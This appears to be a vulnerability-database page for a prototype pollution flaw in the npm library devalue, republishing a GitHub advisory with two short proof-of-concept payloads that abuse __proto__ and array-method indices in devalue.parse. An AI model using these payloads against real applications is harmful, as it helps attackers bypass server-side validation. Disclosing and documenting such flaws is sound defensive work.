CVE-2025-57820: devalue prototype pollution vulnerability
1. devalue.parse allows proto to be set A string passed to devalue.parse could represent an object with a proto property, which would assign a prototype to an object while allowing properties to be overwritten: 2.
Published Aug 26, 2025 · Updated Aug 27, 2025
Affected packages
devalue
- Ecosystem
- npm
- Affected
- < 5.3.2
- Fixed in
- 5.3.2
- Check
npm ls devalue
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
1. devalue.parse allows __proto__ to be set
A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
get magnitude() {
return (this.x ** 2 + this.y ** 2) ** 0.5;
}
}
const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;
const vector = devalue.parse(payload, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 52. devalue.parse allows array prototype methods to be assigned to object
In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:
devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:
const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0This could be used by a creative attacker to bypass server-side validation.
Credited to apyatko, Rich-Harris.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-92708
devalue: `stringify`/`uneval` serialize shared memory
high7.5Oct 1, 2026GHSA-4q55-j62x-fr9h
devalue: Malformed null-prototype object keys bypass __proto__ rejection via property-key coercion
medium6.3Oct 1, 2026GHSA-hx4r-w6wj-j8fg
devalue: Residual sparse-array CPU amplification in uneval
medium6.3Oct 1, 2026GHSA-mcm9-63f2-9j32
devalue: Repeated primitive strings cause quadratic expansion in uneval
high8.2Oct 1, 2026GHSA-r9w8-h9r3-54w4
devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation
high8.2Oct 1, 2026GHSA-wf3x-273g-mvxv
devalue: Sparse arrays emitted by uneval cause eager allocation when evaluated
low2.3Oct 1, 2026
